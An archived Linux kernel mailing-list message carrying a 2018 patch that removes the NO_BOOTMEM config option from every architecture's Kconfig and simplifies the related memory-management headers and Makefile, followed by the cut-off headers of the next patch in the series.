Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1g0n0l-00051N-8H
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 14 Sep 2018 14:15:47 +0200
Original-Received: from bilbo.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 42BZKd07n7zF2X4
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 14 Sep 2018 22:17:57 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=linux.vnet.ibm.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=linux.vnet.ibm.com
 (client-ip=148.163.158.5; helo=mx0a-001b2d01.pphosted.com;
 envelope-from=rppt@linux.vnet.ibm.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=linux.vnet.ibm.com
Original-Received: from mx0a-001b2d01.pphosted.com (mx0b-001b2d01.pphosted.com
 [148.163.158.5])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 42BZB409Y5zF3VQ
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 22:11:23 +1000 (AEST)
Original-Received: from pps.filterd (m0098419.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC596B010047
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:21 -0400
Original-Received: from e06smtp03.uk.ibm.com (e06smtp03.uk.ibm.com [195.75.94.99])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgamuw5s2-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:21 -0400
Original-Received: from localhost
 by e06smtp03.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linuxppc-dev@lists.ozlabs.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:17 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp03.uk.ibm.com (192.168.101.133) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:05 +0100
Original-Received: from d06av25.portsmouth.uk.ibm.com (d06av25.portsmouth.uk.ibm.com
 [9.149.105.61])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECB4t766846766
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:04 GMT
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 3070911C050;
 Fri, 14 Sep 2018 15:10:52 +0100 (BST)
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id D6E9611C058;
 Fri, 14 Sep 2018 15:10:46 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av25.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:10:46 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:10:58 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0012-0000-0000-000002A8D3F8
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0013-0000-0000-000020DD1EB7
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.29
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130759 gmane.linux.kernel.mm:203340 gmane.linux.ports.mips.general:66642 gmane.linux.ports.ia64:29237 gmane.linux.ports.sh.devel:57513 gmane.linux.ports.sparc:28425 gmane.linux.ports.hexagon:1854 gmane.linux.ports.riscv:804 gmane.linux.kernel.arc:4367 gmane.linux.ports.alpha:5243 gmane.linux.ports.arm.kernel:674213 gmane.linux.ports.parisc:28965 gmane.linux.kernel:2870787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130759>

All achitectures select NO_BOOTMEM which essentially becomes 'Y' for any
kernel configuration and therefore it can be removed.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 arch/alpha/Kconfig      |  1 -
 arch/arc/Kconfig        |  1 -
 arch/arm/Kconfig        |  1 -
 arch/arm64/Kconfig      |  1 -
 arch/c6x/Kconfig        |  1 -
 arch/h8300/Kconfig      |  1 -
 arch/hexagon/Kconfig    |  1 -
 arch/ia64/Kconfig       |  1 -
 arch/m68k/Kconfig       |  1 -
 arch/microblaze/Kconfig |  1 -
 arch/mips/Kconfig       |  1 -
 arch/nds32/Kconfig      |  1 -
 arch/nios2/Kconfig      |  1 -
 arch/openrisc/Kconfig   |  1 -
 arch/parisc/Kconfig     |  1 -
 arch/powerpc/Kconfig    |  1 -
 arch/riscv/Kconfig      |  1 -
 arch/s390/Kconfig       |  1 -
 arch/sh/Kconfig         |  1 -
 arch/sparc/Kconfig      |  1 -
 arch/um/Kconfig         |  1 -
 arch/unicore32/Kconfig  |  1 -
 arch/x86/Kconfig        |  3 ---
 arch/xtensa/Kconfig     |  1 -
 include/linux/bootmem.h | 36 ++----------------------------------
 include/linux/mmzone.h  |  5 +----
 mm/Kconfig              |  3 ---
 mm/Makefile             |  7 +------
 mm/memblock.c           |  2 --
 29 files changed, 4 insertions(+), 75 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 620b0a7..04de6be 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -32,7 +32,6 @@ config ALPHA
 	select OLD_SIGSUSPEND
 	select CPU_NO_EFFICIENT_FFS if !ALPHA_EV67
 	select HAVE_MEMBLOCK
-	select NO_BOOTMEM
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index b4441b0..04ebead 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -44,7 +44,6 @@ config ARC
 	select HANDLE_DOMAIN_IRQ
 	select IRQ_DOMAIN
 	select MODULES_USE_ELF_RELA
-	select NO_BOOTMEM
 	select OF
 	select OF_EARLY_FLATTREE
 	select OF_RESERVED_MEM
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 4607d32..a961d70 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -100,7 +100,6 @@ config ARM
 	select IRQ_FORCED_THREADING
 	select MODULES_USE_ELF_REL
 	select NEED_DMA_MAP_STATE
-	select NO_BOOTMEM
 	select OF_EARLY_FLATTREE if OF
 	select OF_RESERVED_MEM if OF
 	select OLD_SIGACTION
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 0128d84..1795eaa 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -156,7 +156,6 @@ config ARM64
 	select MULTI_IRQ_HANDLER
 	select NEED_DMA_MAP_STATE
 	select NEED_SG_DMA_LENGTH
-	select NO_BOOTMEM
 	select OF
 	select OF_EARLY_FLATTREE
 	select OF_RESERVED_MEM
diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index 85ed568..a641b0b 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -14,7 +14,6 @@ config C6X
 	select GENERIC_IRQ_SHOW
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_MEMBLOCK
-	select NO_BOOTMEM
 	select SPARSE_IRQ
 	select IRQ_DOMAIN
 	select OF
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 0b334b6..5e89d40 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -16,7 +16,6 @@ config H8300
 	select OF_IRQ
 	select OF_EARLY_FLATTREE
 	select HAVE_MEMBLOCK
-	select NO_BOOTMEM
 	select TIMER_OF
 	select H8300_TMR8
 	select HAVE_KERNEL_GZIP
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 3ba6873..24a6da9 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -33,7 +33,6 @@ config HEXAGON
 	select GENERIC_CPU_DEVICES
 	select HAVE_MEMBLOCK
 	select ARCH_DISCARD_MEMBLOCK
-	select NO_BOOTMEM
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
 	  performance and low power across a wide variety of applications.
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 8b4a0c17..2bf4ef7 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -28,7 +28,6 @@ config IA64
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
-	select NO_BOOTMEM
 	select HAVE_VIRT_CPU_ACCOUNTING
 	select ARCH_HAS_DMA_MARK_CLEAN
 	select ARCH_HAS_SG_CHAIN
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 0705537..8c7111d 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -29,7 +29,6 @@ config M68K
 	select DMA_NONCOHERENT_OPS if HAS_DMA
 	select HAVE_MEMBLOCK
 	select ARCH_DISCARD_MEMBLOCK
-	select NO_BOOTMEM
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index ace5c5b..56379b9 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -28,7 +28,6 @@ config MICROBLAZE
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_GRAPH_TRACER
 	select HAVE_FUNCTION_TRACER
-	select NO_BOOTMEM
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_OPROFILE
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 1b5fa1a..54532f2 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -78,7 +78,6 @@ config MIPS
 	select RTC_LIB
 	select SYSCTL_EXCEPTION_TRACE
 	select VIRT_TO_BUS
-	select NO_BOOTMEM
 
 menu "Machine selection"
 
diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
index 7068f34..06b1259 100644
--- a/arch/nds32/Kconfig
+++ b/arch/nds32/Kconfig
@@ -36,7 +36,6 @@ config NDS32
 	select MODULES_USE_ELF_RELA
 	select OF
 	select OF_EARLY_FLATTREE
-	select NO_BOOTMEM
 	select NO_IOPORT_MAP
 	select RTC_LIB
 	select THREAD_INFO_IN_TASK
diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 5ddf272..ebfae50 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -25,7 +25,6 @@ config NIOS2
 	select CPU_NO_EFFICIENT_FFS
 	select HAVE_MEMBLOCK
 	select ARCH_DISCARD_MEMBLOCK
-	select NO_BOOTMEM
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index e0081e7..25c6c2e 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -32,7 +32,6 @@ config OPENRISC
 	select HAVE_DEBUG_STACKOVERFLOW
 	select OR1K_PIC
 	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
-	select NO_BOOTMEM
 	select ARCH_USE_QUEUED_SPINLOCKS
 	select ARCH_USE_QUEUED_RWLOCKS
 	select OMPIC if SMP
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 8e6d83f..1d6332c 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -16,7 +16,6 @@ config PARISC
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
 	select HAVE_MEMBLOCK
-	select NO_BOOTMEM
 	select BUG
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index a806692..304cdce 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -228,7 +228,6 @@ config PPC
 	select MODULES_USE_ELF_RELA
 	select NEED_DMA_MAP_STATE		if PPC64 || NOT_COHERENT_CACHE
 	select NEED_SG_DMA_LENGTH
-	select NO_BOOTMEM
 	select OF
 	select OF_EARLY_FLATTREE
 	select OF_RESERVED_MEM
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index a344980..63301c8 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -34,7 +34,6 @@ config RISCV
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_PERF_EVENTS
 	select IRQ_DOMAIN
-	select NO_BOOTMEM
 	select RISCV_ISA_A if SMP
 	select SPARSE_IRQ
 	select SYSCTL_EXCEPTION_TRACE
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 9a9c7a6..b388e05 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -166,7 +166,6 @@ config S390
 	select HAVE_SYSCALL_TRACEPOINTS
 	select HAVE_VIRT_CPU_ACCOUNTING
 	select MODULES_USE_ELF_RELA
-	select NO_BOOTMEM
 	select OLD_SIGACTION
 	select OLD_SIGSUSPEND3
 	select SPARSE_IRQ
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 1fb7b6d..e254226 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -10,7 +10,6 @@ config SUPERH
 	select HAVE_IDE if HAS_IOPORT_MAP
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
-	select NO_BOOTMEM
 	select ARCH_DISCARD_MEMBLOCK
 	select HAVE_OPROFILE
 	select HAVE_GENERIC_DMA_COHERENT
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index e6f2a38..5e8aaee 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -46,7 +46,6 @@ config SPARC
 	select NEED_DMA_MAP_STATE
 	select NEED_SG_DMA_LENGTH
 	select HAVE_MEMBLOCK
-	select NO_BOOTMEM
 
 config SPARC32
 	def_bool !64BIT
diff --git a/arch/um/Kconfig b/arch/um/Kconfig
index 10c15b8..ce3d562 100644
--- a/arch/um/Kconfig
+++ b/arch/um/Kconfig
@@ -13,7 +13,6 @@ config UML
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_MEMBLOCK
-	select NO_BOOTMEM
 	select GENERIC_IRQ_SHOW
 	select GENERIC_CPU_DEVICES
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
index 6f38f7f..60eae74 100644
--- a/arch/unicore32/Kconfig
+++ b/arch/unicore32/Kconfig
@@ -5,7 +5,6 @@ config UNICORE32
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_MIGHT_HAVE_PC_SERIO
 	select HAVE_MEMBLOCK
-	select NO_BOOTMEM
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_KERNEL_GZIP
 	select HAVE_KERNEL_BZIP2
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index e420b2a..859bf9a 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -835,9 +835,6 @@ config JAILHOUSE_GUEST
 
 endif #HYPERVISOR_GUEST
 
-config NO_BOOTMEM
-	def_bool y
-
 source "arch/x86/Kconfig.cpu"
 
 config HPET_TIMER
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index 04d038f..e4f7d12 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -33,7 +33,6 @@ config XTENSA
 	select HAVE_STACKPROTECTOR
 	select IRQ_DOMAIN
 	select MODULES_USE_ELF_RELA
-	select NO_BOOTMEM
 	select PERF_USE_VMALLOC
 	select VIRT_TO_BUS
 	help
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index 4251519..1f005b5 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -26,34 +26,6 @@ extern unsigned long max_pfn;
  */
 extern unsigned long long max_possible_pfn;
 
-#ifndef CONFIG_NO_BOOTMEM
-/**
- * struct bootmem_data - per-node information used by the bootmem allocator
- * @node_min_pfn: the starting physical address of the node's memory
- * @node_low_pfn: the end physical address of the directly addressable memory
- * @node_bootmem_map: is a bitmap pointer - the bits represent all physical
- *		      memory pages (including holes) on the node.
- * @last_end_off: the offset within the page of the end of the last allocation;
- *                if 0, the page used is full
- * @hint_idx: the PFN of the page used with the last allocation;
- *            together with using this with the @last_end_offset field,
- *            a test can be made to see if allocations can be merged
- *            with the page used for the last allocation rather than
- *            using up a full new page.
- * @list: list entry in the linked list ordered by the memory addresses
- */
-typedef struct bootmem_data {
-	unsigned long node_min_pfn;
-	unsigned long node_low_pfn;
-	void *node_bootmem_map;
-	unsigned long last_end_off;
-	unsigned long hint_idx;
-	struct list_head list;
-} bootmem_data_t;
-
-extern bootmem_data_t bootmem_node_data[];
-#endif
-
 extern unsigned long bootmem_bootmap_pages(unsigned long);
 
 extern unsigned long init_bootmem_node(pg_data_t *pgdat,
@@ -125,12 +97,8 @@ extern void *__alloc_bootmem_low_node(pg_data_t *pgdat,
 				      unsigned long align,
 				      unsigned long goal) __malloc;
 
-#ifdef CONFIG_NO_BOOTMEM
 /* We are using top down, so it is safe to use 0 here */
 #define BOOTMEM_LOW_LIMIT 0
-#else
-#define BOOTMEM_LOW_LIMIT __pa(MAX_DMA_ADDRESS)
-#endif
 
 #ifndef ARCH_LOW_ADDRESS_LIMIT
 #define ARCH_LOW_ADDRESS_LIMIT  0xffffffffUL
@@ -165,7 +133,7 @@ extern void *__alloc_bootmem_low_node(pg_data_t *pgdat,
 	__alloc_bootmem_low_node(pgdat, x, PAGE_SIZE, 0)
 
 
-#if defined(CONFIG_HAVE_MEMBLOCK) && defined(CONFIG_NO_BOOTMEM)
+#if defined(CONFIG_HAVE_MEMBLOCK)
 
 /* FIXME: use MEMBLOCK_ALLOC_* variants here */
 #define BOOTMEM_ALLOC_ACCESSIBLE	0
@@ -373,7 +341,7 @@ static inline void __init memblock_free_late(
 {
 	free_bootmem_late(base, size);
 }
-#endif /* defined(CONFIG_HAVE_MEMBLOCK) && defined(CONFIG_NO_BOOTMEM) */
+#endif /* defined(CONFIG_HAVE_MEMBLOCK) */
 
 extern void *alloc_large_system_hash(const char *tablename,
 				     unsigned long bucketsize,
diff --git a/include/linux/mmzone.h b/include/linux/mmzone.h
index d267bce..4179e67 100644
--- a/include/linux/mmzone.h
+++ b/include/linux/mmzone.h
@@ -632,9 +632,6 @@ typedef struct pglist_data {
 	struct page_ext *node_page_ext;
 #endif
 #endif
-#ifndef CONFIG_NO_BOOTMEM
-	struct bootmem_data *bdata;
-#endif
 #if defined(CONFIG_MEMORY_HOTPLUG) || defined(CONFIG_DEFERRED_STRUCT_PAGE_INIT)
 	/*
 	 * Must be held any time you expect node_start_pfn, node_present_pages
@@ -878,7 +875,7 @@ static inline int is_highmem_idx(enum zone_type idx)
 }
 
 /**
- * is_highmem - helper function to quickly check if a struct zone is a 
+ * is_highmem - helper function to quickly check if a struct zone is a
  *              highmem zone or not.  This is an attempt to keep references
  *              to ZONE_{DMA/NORMAL/HIGHMEM/etc} in general code to a minimum.
  * @zone - pointer to struct zone variable
diff --git a/mm/Kconfig b/mm/Kconfig
index 7bf074b..16ceea0 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -145,9 +145,6 @@ config HAVE_GENERIC_GUP
 config ARCH_DISCARD_MEMBLOCK
 	bool
 
-config NO_BOOTMEM
-	bool
-
 config MEMORY_ISOLATION
 	bool
 
diff --git a/mm/Makefile b/mm/Makefile
index 6485d57..ea53338 100644
--- a/mm/Makefile
+++ b/mm/Makefile
@@ -42,12 +42,7 @@ obj-y			:= filemap.o mempool.o oom_kill.o fadvise.o \
 			   debug.o $(mmu-y)
 
 obj-y += init-mm.o
-
-ifdef CONFIG_NO_BOOTMEM
-	obj-y		+= nobootmem.o
-else
-	obj-y		+= bootmem.o
-endif
+obj-y += nobootmem.o
 
 ifdef CONFIG_MMU
 	obj-$(CONFIG_ADVISE_SYSCALLS)	+= madvise.o
diff --git a/mm/memblock.c b/mm/memblock.c
index f798109..bba8d4e 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -1369,7 +1369,6 @@ phys_addr_t __init memblock_alloc_try_nid(phys_addr_t size, phys_addr_t align, i
 	return memblock_alloc_base(size, align, MEMBLOCK_ALLOC_ACCESSIBLE);
 }
 
-#if defined(CONFIG_NO_BOOTMEM)
 /**
  * memblock_virt_alloc_internal - allocate boot memory block
  * @size: size of memory block to be allocated in bytes
@@ -1576,7 +1575,6 @@ void * __init memblock_virt_alloc_try_nid(
 	      __func__, (u64)size, (u64)align, nid, &min_addr, &max_addr);
 	return NULL;
 }
-#endif
 
 /**
  * __memblock_free_early - free boot memory block
-- 
2.7.4



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 03/30] mm: remove CONFIG_HAVE_MEMBLOCK
Date: Fri, 14 Sep 2018 15:10:18 +0300
Lines: 674
Approved: news@gmane.org
Message-ID: <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536927495 30456 195.159.176.226 (14 Sep 2018 12:18:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:18:15 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vger.kernel.org, linux-um@lists.infradead.o
To: linux-mm@kvack.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Sep 14 14:18:07 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1g0n2z-0007hD-Vc
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 14 Sep 2018 14:18:07 +0200
Original-Received: from bilbo.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 42BZNH0wYqzF3WT
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 14 Sep 2018 22:20:15 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=linux.vnet.ibm.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=linux.vnet.ibm.com
 (client-ip=148.163.158.5; helo=mx0a-001b2d01.pphosted.com;
 envelope-from=rppt@linux.vnet.ibm.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=linux.vnet.ibm.com
Original-Received: from mx0a-001b2d01.pphosted.com (mx0b-001b2d01.pphosted.com
 [148.163.158.5])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 42BZB875VLzF3VD
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 22:11:28 +1000 (AEST)
Original-Received: from pps.filterd (m0098420.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC6OI1088200
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:26 -0400
Original-Received: from e06smtp04.uk.ibm.com (e06smtp04.uk.ibm.com [195.75.94.100])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mg9pb78p4-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:26 -0400
Original-Received: from localhost
 by e06smtp04.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linuxppc-dev@lists.ozlabs.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:22 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp04.uk.ibm.com (192.168.101.134) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:12 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com
 [9.149.105.62])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBAaS66978016
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:11 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id AA4CCAE051;
